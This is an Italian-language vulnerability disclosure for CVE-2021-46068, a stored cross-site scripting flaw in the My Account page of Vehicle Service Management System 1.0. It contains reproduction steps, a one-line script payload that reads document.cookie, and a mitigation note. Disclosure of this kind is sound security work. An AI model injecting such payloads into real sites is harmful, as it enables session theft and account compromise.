CVE-2021-46068

Titolo dell'Exploit: Vehicle Service Management System - 'MyAccount' Cross Site Scripting Memorizzato (XSS)

Autore dell'Exploit: SANU P.L

CVE: CVE-2021-46068

CVSS: 4.8 MEDIO

Riferimenti:

• https://www.plsanu.com/vehicle-service-management-system-myaccount-stored-cross-site-scripting-xss
• https://nvd.nist.gov/vuln/detail/CVE-2021-46068
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46068

Descrizione:

Una vulnerabilità di Cross Site Scripting Memorizzato (XSS) esiste in Vehicle Service Management System 1.0 tramite la sezione My Account nel pannello di login.

Exploit:

1. Effettua il login al pannello amministrativo http://localhost/vehicle_service/admin
2. Vai alla sezione My Account http://localhost/vehicle_service/admin/?page=user
3. Inietta il payload qui sotto nel campo di input Nome e Cognome.

Payload:

"><script>alert(document.cookie)</script>

4. Fai clic sul pulsante di aggiornamento.
5. Il codice JavaScript malevolo viene attivato.

Impatto:

Un attaccante può iniettare codice JavaScript malevolo nella sezione My Account.

Mitigazione:

Si raccomanda di sanitizzare tutti i campi di input in tutta l'applicazione.